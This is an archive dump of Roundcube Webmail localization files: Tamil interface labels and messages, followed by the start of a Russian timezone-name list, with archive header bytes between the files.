$labels['nosubject'] = '(தலைப்பில்லா)';
$labels['showimages'] = 'படங்களை காட்டு';
$labels['alwaysshow'] = '$-னிடமிருந்து வரும் படங்களை காட்டு';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'எளிய உரை';
$labels['savesentmessagein'] = 'அனுப்பிய அஞ்சலை இங்கு சேமிக்கவும்';
$labels['dontsave'] = 'சேமிக்காதே';
$labels['maxuploadsize'] = 'அனுமதிக்கப்படும் அதிகபட்ச கோப்பு அளவு $';
$labels['addcc'] = 'நகல் சேர்';
$labels['addbcc'] = 'மறை நகல் சேர்';
$labels['addreplyto'] = 'பதிலளிக்க வேண்டியவர்களை சேர்';
$labels['mdnrequest'] = 'இந்த செய்தியின் அனுப்புனர் இதை படித்தவுடன் அறிவிக்கும்படி கேட்டார். அறிவிக்க விரும்புகிறீர்களா ?';
$labels['receiptread'] = 'திரும்பு சீட்டு (படி)';
$labels['yourmessage'] = 'இது உங்கள் செய்தியின் திரும்பு சீட்டு';
$labels['receiptnote'] = 'குறிப்பு: இந்த ஒப்புகை பெறுனரிடம் செய்தியை காட்டியதற்காக வருகிறது. அவர் அதை படித்ததற்கு எந்த உத்திரவாதமும் இல்லை';
$labels['name'] = 'காட்சி பெயர்';
$labels['firstname'] = 'முதற் பெயர்';
$labels['surname'] = 'கடைசி பெயர்';
$labels['email'] = 'மின்னஞ்சல்';
$labels['editcontact'] = 'தொடர்பை திருத்து';
$labels['edit'] = 'திருத்து';
$labels['cancel'] = 'ரத்து';
$labels['save'] = 'சேமி';
$labels['delete'] = 'நீக்கு';
$labels['deletecontact'] = 'தேர்ந்தெடுத்த தொடர்புகளை நீக்கு';
$labels['composeto'] = 'இவர்-கு அஞ்சல் எழுது';
$labels['contactsfromto'] = 'தொடர்புகள் $countல் $from லிருந்து $to வரை';
$labels['print'] = 'அச்சிடு';
$labels['export'] = 'ஏற்றுமதி';
$labels['exportvcards'] = 'தொடர்புகளை vCard வடிவத்தில் ஏற்றுமதி செய்யவும்';
$labels['previouspage'] = 'முந்திய குழுவை காட்டு';
$labels['firstpage'] = 'முதல் குழுவை காட்டு';
$labels['nextpage'] = 'அடுத்த குழுவை காட்டு';
$labels['lastpage'] = 'கடைசி குழுவை காட்டு';
$labels['groups'] = 'குழுக்கள்';
$labels['personaladrbook'] = 'சுய முகவரி';
$labels['import'] = 'இறக்குமதி';
$labels['importcontacts'] = 'தொடர்புகளை இறக்குமதி செய்யவும்';
$labels['importreplace'] = 'எல்லா தொடர்புகளையும் மாற்றி அமை';
$labels['done'] = 'முடிந்தது';
$labels['settingsfor'] = 'இதற்கான அமைப்புகள்';
$labels['preferences'] = 'விருப்பங்கள்';
$labels['userpreferences'] = 'பயனர் விருப்பங்கள்';
$labels['editpreferences'] = 'பயனர் விருப்பங்களை திருத்து';
$labels['identities'] = 'அடையாளங்கள்';
$labels['preferhtml'] = 'HTML காட்டு';
$labels['htmlmessage'] = 'HTML செய்தி';
$labels['prettydate'] = 'நல்ல தேதி';
$labels['setdefault'] = 'இயல்பை அமை';
$labels['autodetect'] = 'தானியங்கி';
$labels['language'] = 'மொழி';
$labels['timezone'] = 'நேர மண்டலம்';
$labels['pagesize'] = 'ஒரு பக்கத்திற்கான வரிகள்';
$labels['signature'] = 'கையொப்பம்';
$labels['dstactive'] = 'பகல் ஒளி சேமிப்பு நேரம்';
$labels['htmleditor'] = 'HTML செய்திகளை எழுது';
$labels['htmlsignature'] = 'HTML கையொப்பம்';
$labels['previewpane'] = 'முந்திய பாத்தியை காட்டு';
$labels['skin'] = 'முகப்பு தோற்றம்';
$labels['logoutclear'] = 'வெளியேறும் போது குப்பையை காலி செய்';
$labels['logoutcompact'] = 'வெளியேறும் போது இன்பாக்ஸை குறுக்கவும்';
$labels['uisettings'] = 'பயனர் முகப்பு';
$labels['serversettings'] = 'சேவையகம் அமைப்புகள்';
$labels['mailboxview'] = 'அஞ்சல் பெட்டி காட்சி';
$labels['mdnrequests'] = 'அனுப்புனர் அறிவிப்புகள்';
$labels['askuser'] = 'பயனரை கேள்';
$labels['autosend'] = 'தானாக அனுப்பு';
$labels['readwhendeleted'] = 'செய்தியை நீக்கும் போது படித்ததாக குறி';
$labels['flagfordeletion'] = 'நீக்குவதற்கு பதிலாக நீக்குவதாக நட்சத்திரமிடு';
$labels['skipdeleted'] = 'நீக்கிய செய்திகளை காட்டாதே';
$labels['showremoteimages'] = 'தொலை தூர துணை படங்களை காட்டு';
$labels['fromknownsenders'] = 'தெரிந்த அனுப்புனரிடமிருந்து';
$labels['always'] = 'எப்போதும்';
$labels['showinlineimages'] = 'இணைத்த படங்களை செய்திகளுக்கு கீழே காட்டவும்';
$labels['autosavedraft'] = 'தானாக வரைவுகளை சேமி';
$labels['everynminutes'] = 'ஒவ்வொரு $n நிமிடங்களுக்கும்';
$labels['never'] = 'எப்போதுமில்லை';
$labels['messagesdisplaying'] = 'செய்திகளை காட்டுகிறது';
$labels['messagescomposition'] = 'செய்திகளை எழுதுகிறது';
$labels['mimeparamfolding'] = 'இணைப்பு பெயர்கள்';
$labels['2231folding'] = 'முழு RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'முழு RFC 2047 (மற்ற)';
$labels['advancedoptions'] = 'மேம்பட்ட விருப்பங்கள்';
$labels['focusonnewmessage'] = 'உலாவி சாளரத்தை புது செய்திக்காக கவனி';
$labels['checkallfolders'] = 'புது செய்திகளுக்காக எல்லா அடைவுகளையும் சரிபார்';
$labels['mainoptions'] = 'முக்கிய விருப்பங்கள்';
$labels['section'] = 'பிரிவு';
$labels['maintenance'] = 'பராமரிப்பு';
$labels['newmessage'] = 'புது செய்தி';
$labels['signatureoptions'] = 'கையொப்ப விருப்பங்கள்';
$labels['whenreplying'] = 'பதிலளிக்கும் போது';
$labels['replytopposting'] = 'புது செய்தியை அசலின் மேல் துவக்கு';
$labels['replybottomposting'] = 'புது செய்தியை அசலின் கீழ் துவக்கு';
$labels['replyremovesignature'] = 'பதிலளிக்கும் போது அசல் கையெழுத்தை செய்தியிலிருந்து நீக்கவும்';
$labels['autoaddsignature'] = 'தானாக கையொப்பத்தை சேர்';
$labels['newmessageonly'] = 'புது செய்தி மட்டும்';
$labels['replyandforwardonly'] = 'பதிலளிப்பு முன்அனுப்பு மட்டும்';
$labels['insertsignature'] = 'கையோப்பமிடு';
$labels['folder'] = 'அடைவு';
$labels['folders'] = 'அடைவுகள்';
$labels['foldername'] = 'அடைவு பெயர்';
$labels['subscribed'] = 'சந்தா';
$labels['messagecount'] = 'செய்திகள்';
$labels['create'] = 'உருவாக்கு';
$labels['createfolder'] = 'புது அடைவு உருவாக்கு';
$labels['managefolders'] = 'அடைவுகளை நிற்வகி';
$labels['specialfolders'] = 'சிறப்பு அடைவுகள்';
$labels['sortby'] = 'வாரியாக அடுக்கு';
$labels['sortasc'] = 'ஏறு வரிசையாக அடுக்கு';
$labels['sortdesc'] = 'இறங்கு வரிசையாக அடுக்கு';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
PK
h�\����@,@,'program/localization/ta_IN/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'பிழை ஏற்பட்டது!';
$messages['loginfailed']  = 'நுழைவு தோல்வியடைந்தது';
$messages['cookiesdisabled'] = 'உங்கள் உலாவி நினைவிகளை அனுமதிப்பதில்லை';
$messages['sessionerror'] = 'உங்கள் அமர்வு செல்லாது அல்லது முடிவுற்றது';
$messages['storageerror'] = 'IMAP சேவையகத்திற்கான இணைப்பு தோல்வியடைந்தது';
$messages['servererror'] = 'சேவையக பிழை!';
$messages['servererrormsg'] = 'சேவையக பிழை: $msg';
$messages['invalidrequest'] = 'செல்லாத வேண்டுகோள்! எந்த தரவும் சேமிக்கப்படவில்லை.';
$messages['nomessagesfound'] = 'இந்த தபால் பெட்டியில் எந்த தரவும் சேமிக்கப்படவில்லை';
$messages['mailboxempty'] = 'தபால் பெட்டி காலியாக உள்ளது';
$messages['loading'] = 'ஏற்றுகிறது...';
$messages['uploading'] = 'கோப்பை ஏற்றுகிறது...';
$messages['loadingdata'] = 'தரவை ஏற்றுகிறது...';
$messages['checkingmail'] = 'புது செய்திகளை சரிபார்க்கிறது...';
$messages['sendingmessage'] = 'செய்தியை அனுப்புகிறது...';
$messages['messagesent'] = 'செய்தி வெற்றிகரமாக அனுப்பப்பட்டது';
$messages['savingmessage'] = 'செய்தியை சேமிக்கிறது...';
$messages['messagesaved'] = 'செய்தி வரைவில் சேமிக்கப்பட்டது';
$messages['successfullysaved'] = 'வெற்றிகரமாக சேமிக்கப்பட்டது';
$messages['addedsuccessfully'] = 'தொடர்பு சேமிக்கப்பட்டது';
$messages['blockedimages'] = 'உங்கள் தனிப்பட்ட தகவலை பாதுகாக்க, தொலை தூரப் படங்கள் இந்த செய்தியில் தடுக்கப்பட்டது';
$messages['encryptedmessage'] = 'மன்னிக்கவும்! இந்த செய்தி குறிமுறையாக்கப்பட்டது அதனால் காட்ட முடியாது.';
$messages['nocontactsfound'] = 'எந்த தொடர்புகளும் காணப்படவில்லை';
$messages['contactnotfound'] = 'நீங்கள் வேண்டிய தொடர்பு காணப்படவில்லை';
$messages['sendingfailed'] = 'செய்தி அனுப்புவது தோல்வியுற்றது';
$messages['senttooquickly'] = 'இந்த செய்தி அனுப்புவதற்கு முன்பு தயவு செய்து $sec வினாடி(கள்) காத்திருக்கவும்.';
$messages['errormoving'] = 'செய்தியை நகர்த்த முடியவில்லை';
$messages['errordeleting'] = 'செய்தியை நீக்க முடியவில்லை';
$messages['errormarking'] = 'செய்தியை நட்சத்திரமிட முடியவில்லை';
$messages['deletecontactconfirm']  = 'நீங்கள் தேர்ந்தெடுத்த தொடர்புகளை நீக்க விரும்புகிறீர்களா ?';
$messages['deletemessagesconfirm'] = 'நீங்கள் தேர்ந்தெடுத்த செய்திகளை நீக்க விரும்புகிறீர்களா ?';
$messages['deletefolderconfirm']  = 'நீங்கள் இந்த அடைவை நீக்க விரும்புகிறீர்களா ?';
$messages['purgefolderconfirm']  = 'நீங்கள் இந்த அடைவிலிருக்கும் எல்லா செய்திகளையும் நீக்க விரும்புகிறீர்களா ?';
$messages['folderdeleting'] = 'அடைவை நீக்குகிறது...';
$messages['foldermoving'] = 'அடைவை நகர்த்துகிறது...';
$messages['formincomplete'] = 'விண்ணப்பத்தை முழுமையாக நிறைவு செய்யவில்லை';
$messages['noemailwarning'] = 'தயவு செய்து உண்மையான மின்னஞ்சலை எழுதுங்கள்';
$messages['nonamewarning']  = 'தயவு செய்து பெயரை எழுதுங்கள்';
$messages['nopagesizewarning'] = 'தயவு செய்து தாழின் அளவை எழுதுங்கள்';
$messages['norecipientwarning'] = 'தயவு செய்து ஒரு பெறுனரையாவது எழுதுங்கள்';
$messages['nosubjectwarning']  = 'தலைப்பு காலியாக உள்ளது. இப்போது எழுத விரும்புகிறீர்களா?';
$messages['nobodywarning'] = 'உரையில்லாமல் இந்த செய்தியை அனுப்ப வேண்டுமா?';
$messages['nosearchname'] = 'தயவு செய்து தொடர்பின் பெயரோ மின்னஞ்சல் முகவரியோ எழுதுங்கள்';
$messages['notuploadedwarning'] = 'எல்லா இணைப்புகளும் ஏற்றப்படவில்லை. தயவு செய்து காத்திருங்கள் அல்லது ஏற்றத்தை ரத்து செய்யுங்கள்.';
$messages['searchsuccessful'] = '$nr செய்திகள் கண்டுபிடிக்கப்பட்டது';
$messages['searchnomatch'] = 'தேடுதல் எந்த பொருத்தத்தையும் அனுப்பவில்லை';
$messages['searching'] = 'தேடுகிறது...';
$messages['checking'] = 'சரி பார்க்கிறது...';
$messages['nospellerrors'] = 'எழுத்து பிழைகள் இல்லை';
$messages['folderdeleted'] = 'அடைவு வெற்றிகரமாக நீக்கப்பட்டது';
$messages['deletedsuccessfully'] = 'வெற்றிகரமாக நீக்கப்பட்டது';
$messages['converting'] = 'வடிவத்தை நீக்குகிறது...';
$messages['messageopenerror'] = 'சேவையகத்திலிருந்து செய்தியை ஏற்ற முடியவில்லை';
$messages['fileuploaderror'] = 'கோப்பு ஏற்றம் தோல்வியடாந்தது';
$messages['filesizeerror'] = 'ஏற்றிய கோப்பு அதிகபட்ச அளவான $size-ஐ மீறியது';
$messages['sourceisreadonly'] = 'இந்த முகவரியின் மூலத்தை படிக்க மட்டும்தான் முடியும்';
$messages['errorsavingcontact'] = 'தொடர்பு முகவரியை சேமிக்க முடியவில்லை';
$messages['movingmessage'] = 'செய்தியை நகர்த்துகிறது...';
$messages['receiptsent'] = 'படித்த சீட்டு வெற்றிகரமாக அனுப்பப்பட்டது';
$messages['errorsendingreceipt'] = 'சீட்டை அனுப்ப முடியவில்லை';
$messages['nodeletelastidentity'] = 'நீங்கள் இந்த அடையாளத்தை நீக்க முடியாது இது தான் கடைசி';
$messages['forbiddencharacter'] = 'அடைவு பெயரில் தடை செய்யப்பட்ட எழுத்துக்கள் உள்ளது';
$messages['selectimportfile'] = 'தயவு செய்து ஏற்றுவதற்கு ஒரு கோப்பை தேர்ந்தெடுங்கள்';
$messages['addresswriterror'] = 'நீங்கள் தேர்ந்தெடுத்த தொடர்புகளில் எழுத முடியாது';
$messages['importwait'] = 'ஏற்றுகிறது, தயவு செய்து காத்திருங்கள்...';
$messages['importconfirm'] = '<b>வெற்றிகரமாக $inserted தொடர்புகள் ஏற்றப்பட்டது, ஏற்கனவே உள்ள $skipped தொடர்புகள் தவிர்க்கப்பட்டது</b>: <p><em>$names</em></p>';
$messages['opnotpermitted'] = 'பணி அனுமதிக்கப்படவில்லை!';
$messages['httpreceivedencrypterror'] = 'அமைப்பில் பெரிய பிழை ஏற்பட்டது. உங்கள் நிர்வாகியை உடனே தொடர்பு கொள்ளவும். <b>உங்கள் செய்தியை அனுப்ப முடியாது.</b>';
$messages['smtpconnerror'] = 'SMTP பிழை ($code): சேவையகத்தின் இணைப்பு தோல்வியடைந்தது';
$messages['smtpautherror'] = 'SMTP பிழை ($code): நம்பகத்தன்மை தோல்வியடைந்தது';
$messages['smtpfromerror'] = 'SMTP பிழை ($code): அனுப்புனரை "$from" ஆக வைப்பதில் தோல்வி';
$messages['smtptoerror'] = 'SMTP பிழை ($code): "$to" பெறுனரை சேர்பதில் தோல்வி';
$messages['smtprecipientserror'] = 'SMTP பிழை : பெறுனர் பட்டியலை பிரிக்க முடியவில்லை';
$messages['smtperror'] = 'SMTP பிழை: $msg';
PK
h�\��N�[�[(program/localization/ru_RU/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Африка';
$labels['tz:africa:abidjan'] = 'Абиджан';
$labels['tz:africa:accra'] = 'Аккра';
$labels['tz:africa:addis_ababa'] = 'Аддис-Абеба';
$labels['tz:africa:algiers'] = 'Алжир';
$labels['tz:africa:asmara'] = 'Асмара';
$labels['tz:africa:bamako'] = 'Бамако';
$labels['tz:africa:bangui'] = 'Банги';
$labels['tz:africa:banjul'] = 'Банджул';
$labels['tz:africa:bissau'] = 'Бисау';
$labels['tz:africa:blantyre'] = 'Блантайр';
$labels['tz:africa:brazzaville'] = 'Браззавиль';
$labels['tz:africa:bujumbura'] = 'Бужумбура';
$labels['tz:africa:cairo'] = 'Каир';
$labels['tz:africa:casablanca'] = 'Касабланка';
$labels['tz:africa:ceuta'] = 'Сеута';
$labels['tz:africa:conakry'] = 'Конакри';
$labels['tz:africa:dakar'] = 'Дакар';
$labels['tz:africa:dar_es_salaam'] = 'Дар-эс-Салам';
$labels['tz:africa:djibouti'] = 'Джибути';
$labels['tz:africa:douala'] = 'Дуала';
$labels['tz:africa:el_aaiun'] = 'Эль-Аюн';
$labels['tz:africa:freetown'] = 'Фритаун';
$labels['tz:africa:gaborone'] = 'Габороне';
$labels['tz:africa:harare'] = 'Хараре';
$labels['tz:africa:johannesburg'] = 'Йоханнесбург';
$labels['tz:africa:juba'] = 'Джуба';
$labels['tz:africa:kampala'] = 'Кампала';
$labels['tz:africa:khartoum'] = 'Хартум';
$labels['tz:africa:kigali'] = 'Кигали';
$labels['tz:africa:kinshasa'] = 'Киншаса';
$labels['tz:africa:lagos'] = 'Лагос';
$labels['tz:africa:libreville'] = 'Либревиль';
$labels['tz:africa:lome'] = 'Ломе';
$labels['tz:africa:luanda'] = 'Луанда';
$labels['tz:africa:lubumbashi'] = 'Лубумбаши';
$labels['tz:africa:lusaka'] = 'Лусака';
$labels['tz:africa:malabo'] = 'Малабо';
$labels['tz:africa:maputo'] = 'Мапуту';
$labels['tz:africa:maseru'] = 'Масеру';
$labels['tz:africa:mbabane'] = 'Мбабане';
$labels['tz:africa:mogadishu'] = 'Могадишо';
$labels['tz:africa:monrovia'] = 'Монровия';
$labels['tz:africa:nairobi'] = 'Найроби';
$labels['tz:africa:ndjamena'] = 'Нджамена';
$labels['tz:africa:niamey'] = 'Ниамей';
$labels['tz:africa:nouakchott'] = 'Нуакшот';
$labels['tz:africa:ouagadougou'] = 'Уагадугу';
$labels['tz:africa:porto-novo'] = 'Порто-Ново';
$labels['tz:africa:sao_tome'] = 'Сан-Томе';
$labels['tz:africa:tripoli'] = 'Триполи';
$labels['tz:africa:tunis'] = 'Тунис';
$labels['tz:africa:windhoek'] = 'Виндхук';
$labels['tz:america'] = 'Америка';
$labels['tz:america:adak'] = 'Адак';
$labels['tz:america:anchorage'] = 'Анкоридж';
$labels['tz:america:anguilla'] = 'Ангилья';
$labels['tz:america:antigua'] = 'Антигуа';
$labels['tz:america:araguaina'] = 'Арагуаина';
$labels['tz:america:argentina'] = 'Аргентина';
$labels['tz:america:argentina:buenos_aires'] = 'Буэнос-Айрес';
$labels['tz:america:argentina:catamarca'] = 'Кэйтамарка';
$labels['tz:america:argentina:cordoba'] = 'Кордова';
$labels['tz:america:argentina:jujuy'] = 'Жужуй';
$labels['tz:america:argentina:la_rioja'] = 'Ла-Риоха';
$labels['tz:america:argentina:mendoza'] = 'Мендоса';
$labels['tz:america:argentina:rio_gallegos'] = 'Рио-Гальегос';
$labels['tz:america:argentina:salta'] = 'Сальта';
$labels['tz:america:argentina:san_juan'] = 'Сан-Хуан';
$labels['tz:america:argentina:san_luis'] = 'Сан-Луис';
$labels['tz:america:argentina:tucuman'] = 'Тукуман';
$labels['tz:america:argentina:ushuaia'] = 'Ушуайя';
$labels['tz:america:aruba'] = 'Аруба';
$labels['tz:america:asuncion'] = 'Асунсьон';
$labels['tz:america:atikokan'] = 'Атикокан';
$labels['tz:america:bahia'] = 'Баия';
$labels['tz:america:bahia_banderas'] = 'Баия-де-Бандерас';
$labels['tz:america:barbados'] = 'Барбадос';
$labels['tz:america:belem'] = 'Белен';
$labels['tz:america:belize'] = 'Белиз';
$labels['tz:america:blanc-sablon'] = 'Блан Саблон';
$labels['tz:america:boa_vista'] = 'Боа-Виста';
$labels['tz:america:bogota'] = 'Богота';
$labels['tz:america:boise'] = 'Бойсе';
$labels['tz:america:cambridge_bay'] = 'Кеймбридж-Бей';
$labels['tz:america:campo_grande'] = 'Кампу-Гранди';
$labels['tz:america:cancun'] = 'Канкун';
$labels['tz:america:caracas'] = 'Каракас';
$labels['tz:america:cayenne'] = 'Кайенна';
$labels['tz:america:cayman'] = 'Острова Кайман';
$labels['tz:america:chicago'] = 'Чикаго';
$labels['tz:america:chihuahua'] = 'Чихуахуа';
$labels['tz:america:costa_rica'] = 'Коста-Рика';
$labels['tz:america:creston'] = 'Крестон';
$labels['tz:america:cuiaba'] = 'Куяба';
$labels['tz:america:curacao'] = 'Кюрасао';
$labels['tz:america:danmarkshavn'] = 'Данмарксхавн';
$labels['tz:america:dawson'] = 'Доусон';
$labels['tz:america:dawson_creek'] = 'Доусон-Крик';
$labels['tz:america:denver'] = 'Денвер';
$labels['tz:america:detroit'] = 'Детройт';
$labels['tz:america:dominica'] = 'Доминика';
$labels['tz:america:edmonton'] = 'Эдмонтон';
$labels['tz:america:eirunepe'] = 'Эйрунепе';
$labels['tz:america:el_salvador'] = 'Сальвадор';
$labels['tz:america:fort_nelson'] = 'Форт Нельсон';
$labels['tz:america:fortaleza'] = 'Форталеза';
$labels['tz:america:glace_bay'] = 'Глейс-Бей';
$labels['tz:america:godthab'] = 'Готхоб';
$labels['tz:america:goose_bay'] = 'Гус-Бей';
$labels['tz:america:grand_turk'] = 'Гранд-Терк';
$labels['tz:america:grenada'] = 'Гренада';
$labels['tz:america:guadeloupe'] = 'Гваделупа';
$labels['tz:america:guatemala'] = 'Гватемала';
$labels['tz:america:guayaquil'] = 'Гуаякиль';
$labels['tz:america:guyana'] = 'Гайана';
$labels['tz:america:halifax'] = 'Галифакс';
$labels['tz:america:havana'] = 'Гавана';
$labels['tz:america:hermosillo'] = 'Эрмосильо';
$labels['tz:america:indiana'] = 'Индиана';
$labels['tz:america:indiana:indianapolis'] = 'Индианаполис';
$labels['tz:america:indiana:knox'] = 'Нокс';
$labels['tz:america:indiana:marengo'] = 'Маренго';
$labels['tz:america:indiana:petersburg'] = 'Петербург';
$labels['tz:america:indiana:tell_city'] = 'Телл-Сити';
$labels['tz:america:indiana:vevay'] = 'Вивей';
$labels['tz:america:indiana:vincennes'] = 'Венсен';
$labels['tz:america:indiana:winamac'] = 'Уинамак';
$labels['tz:america:inuvik'] = 'Инувик';
$labels['tz:america:iqaluit'] = 'Икалуит';
$labels['tz:america:jamaica'] = 'Ямайка';
$labels['tz:america:juneau'] = 'Джуно';
$labels['tz:america:kentucky'] = 'Кентукки';
$labels['tz:america:kentucky:louisville'] = 'Луисвилл';
$labels['tz:america:kentucky:monticello'] = 'Монтиселло';
$labels['tz:america:kralendijk'] = 'Кралендейк';
$labels['tz:america:la_paz'] = 'Ла-Пас';
$labels['tz:america:lima'] = 'Лима';
$labels['tz:america:los_angeles'] = 'Лос-Анджелес';
$labels['tz:america:lower_princes'] = 'Лоуэр-Принс';
$labels['tz:america:maceio'] = 'Масейо';
$labels['tz:america:managua'] = 'Манагуа';
$labels['tz:america:manaus'] = 'Манаус';
$labels['tz:america:marigot'] = 'Мариго';
$labels['tz:america:martinique'] = 'Мартиника';
$labels['tz:america:matamoros'] = 'Матаморос';
$labels['tz:america:mazatlan'] = 'Масатлан';
$labels['tz:america:menominee'] = 'Меномини';
$labels['tz:america:merida'] = 'Мерида';
$labels['tz:america:metlakatla'] = 'Метлакатла';
$labels['tz:america:mexico_city'] = 'Мехико';
$labels['tz:america:miquelon'] = 'Микелон';
$labels['tz:america:moncton'] = 'Монктон';
$labels['tz:america:monterrey'] = 'Монтеррей';
$labels['tz:america:montevideo'] = 'Монтевидео';
$labels['tz:america:montserrat'] = 'Монтсеррат';
$labels['tz:america:nassau'] = 'Нассау';
$labels['tz:america:new_york'] = 'Нью-Йорк';
$labels['tz:america:nipigon'] = 'Нипигон';
$labels['tz:america:nome'] = 'Ном';
$labels['tz:america:noronha'] = 'Фернанду-ди-Норонья';
$labels['tz:america:north_dakota'] = 'Северная Дакота';
$labels['tz:america:north_dakota:beulah'] = 'Беула';
$labels['tz:america:north_dakota:center'] = 'Сентр';
$labels['tz:america:north_dakota:new_salem'] = 'Нью Салем';
$labels['tz:america:ojinaga'] = 'Охинага';
$labels['tz:america:panama'] = 'Панама';
$labels['tz:america:pangnirtung'] = 'Пангниртанг';
$labels['tz:america:paramaribo'] = 'Парамарибо';
$labels['tz:america:phoenix'] = 'Феникс';
$labels['tz:america:port-au-prince'] = 'Порт-о-Пренс';
$labels['tz:america:port_of_spain'] = 'Порт-оф-Спейн';
$labels['tz:america:porto_velho'] = 'Порту-Велью';
$labels['tz:america:puerto_rico'] = 'Пуэрто-Рико';
$labels['tz:america:rainy_river'] = 'Рейни-Ривер';
$labels['tz:america:rankin_inlet'] = 'Ранкин-Инлет';
$labels['tz:america:recife'] = 'Ресифи';
$labels['tz:america:regina'] = 'Реджайна';
$labels['tz:america:resolute'] = 'Ризолют';
$labels['tz:america:rio_branco'] = 'Риу-Бранку';
$labels['tz:america:santarem'] = 'Сантарен';
$labels['tz:america:santiago'] = 'Сантьяго';
$labels['tz:america:santo_domingo'] = 'Санто-Доминго';
$labels['tz:america:sao_paulo'] = 'Сан-Паулу';
$labels['tz:america:scoresbysund'] = 'Иллоккортоормиут';
$labels['tz:america:sitka'] = 'Ситка';
$labels['tz:america:st_barthelemy'] = 'Сен-Бартелеми';
$labels['tz:america:st_johns'] = "Сент-Джонс";
$labels['tz:america:st_kitts'] = 'Сент-Китс';
$labels['tz:america:st_lucia'] = 'Сент-Люсия';
$labels['tz:america:st_thomas'] = 'Сент-Томас';
$labels['tz:america:st_vincent'] = 'Сент-Винсент';
$labels['tz:america:swift_current'] = 'Суифт-Карент';
$labels['tz:america:tegucigalpa'] = 'Тегусигальпа';
$labels['tz:america:thule'] = 'Туле';
$labels['tz:america:thunder_bay'] = 'Тандер-Бей';
$labels['tz:america:tijuana'] = 'Тихуана';
$labels['tz:america:toronto'] = 'Торонто';
$labels['tz:america:tortola'] = 'Тортола';
$labels['tz:america:vancouver'] = 'Ванкувер';
$labels['tz:america:whitehorse'] = 'Уайтхорс';
$labels['tz:america:winnipeg'] = 'Виннипег';
$labels['tz:america:yakutat'] = 'Якутат';
$labels['tz:america:yellowknife'] = 'Йеллоунайф';
$labels['tz:antarctica'] = 'Антарктида';
$labels['tz:antarctica:casey'] = 'Кейси';
$labels['tz:antarctica:davis'] = 'Дейвис';
$labels['tz:antarctica:dumontdurville'] = "Дюмон- д' Юрвиль";
$labels['tz:antarctica:macquarie'] = 'Маккуори';
$labels['tz:antarctica:mawson'] = 'Моусон';
$labels['tz:antarctica:mcmurdo'] = 'Мак-Мердо';
$labels['tz:antarctica:palmer'] = 'Палмер';
$labels['tz:antarctica:rothera'] = 'Ротера';
$labels['tz:antarctica:syowa'] = 'Сёва';
$labels['tz:antarctica:troll'] = 'Тролл';
$labels['tz:antarctica:vostok'] = 'Восток';
$labels['tz:arctic'] = 'Арктика';
$labels['tz:arctic:longyearbyen'] = 'Лонгйир';
$labels['tz:asia'] = 'Азия';
$labels['tz:asia:aden'] = 'Аден';
$labels['tz:asia:almaty'] = 'Алма-Ата';
$labels['tz:asia:amman'] = 'Амман';
$labels['tz:asia:anadyr'] = 'Анадырь';
$labels['tz:asia:aqtau'] = 'Актау';
$labels['tz:asia:aqtobe'] = 'Актобе';
$labels['tz:asia:ashgabat'] = 'Ашхабад';
$labels['tz:asia:atyrau'] = 'Атырау';
$labels['tz:asia:baghdad'] = 'Багдад';
$labels['tz:asia:bahrain'] = 'Бахрейн';
$labels['tz:asia:baku'] = 'Баку';
$labels['tz:asia:bangkok'] = 'Бангкок';
$labels['tz:asia:barnaul'] = 'Барнаул';
$labels['tz:asia:beirut'] = 'Бейрут';
$labels['tz:asia:bishkek'] = 'Бишкек';
$labels['tz:asia:brunei'] = 'Бруней';
$labels['tz:asia:chita'] = 'Чита';
$labels['tz:asia:choibalsan'] = 'Чойбалсан';
$labels['tz:asia:colombo'] = 'Коломбо';
$labels['tz:asia:damascus'] = 'Дамаск';
$labels['tz:asia:dhaka'] = 'Дакка';
$labels['tz:asia:dili'] = 'Дили';
$labels['tz:asia:dubai'] = 'Дубай';
$labels['tz:asia:dushanbe'] = 'Душанбе';
$labels['tz:asia:famagusta'] = 'Фамагуста';
$labels['tz:asia:gaza'] = 'Газа';
$labels['tz:asia:hebron'] = 'Хеврон';
$labels['tz:asia:ho_chi_minh'] = 'Хошимин';
$labels['tz:asia:hong_kong'] = 'Гонконг';
$labels['tz:asia:hovd'] = 'Ховд';
$labels['tz:asia:irkutsk'] = 'Иркутск';
$labels['tz:asia:jakarta'] = 'Джакарта';
$labels['tz:asia:jayapura'] = 'Джакарта';
$labels['tz:asia:jerusalem'] = 'Иерусалим';
$labels['tz:asia:kabul'] = 'Кабул';
$labels['tz:asia:kamchatka'] = 'Камчатка';
$labels['tz:asia:karachi'] = 'Карачи';
$labels['tz:asia:kathmandu'] = 'Катманду';
$labels['tz:asia:khandyga'] = 'Хандыга';
$labels['tz:asia:kolkata'] = 'Калькутта';
$labels['tz:asia:krasnoyarsk'] = 'Красноярск';
$labels['tz:asia:kuala_lumpur'] = 'Куала-Лумпур';
$labels['tz:asia:kuching'] = 'Кучинг';
$labels['tz:asia:kuwait'] = 'Кувейт';
$labels['tz:asia:macau'] = 'Макао';
$labels['tz:asia:magadan'] = 'Магадан';
$labels['tz:asia:makassar'] = 'Макассар';
$labels['tz:asia:manila'] = 'Манила';
$labels['tz:asia:muscat'] = 'Маскат';
$labels['tz:asia:nicosia'] = 'Никосия';
$labels['tz:asia:novokuznetsk'] = 'Новокузнецк';
$labels['tz:asia:novosibirsk'] = 'Новосибирск';
$labels['tz:asia:omsk'] = 'Омск';
$labels['tz:asia:oral'] = 'Екатеринбургское время';
$labels['tz:asia:phnom_penh'] = 'Пномпень';
$labels['tz:asia:pontianak'] = 'Понтианак';
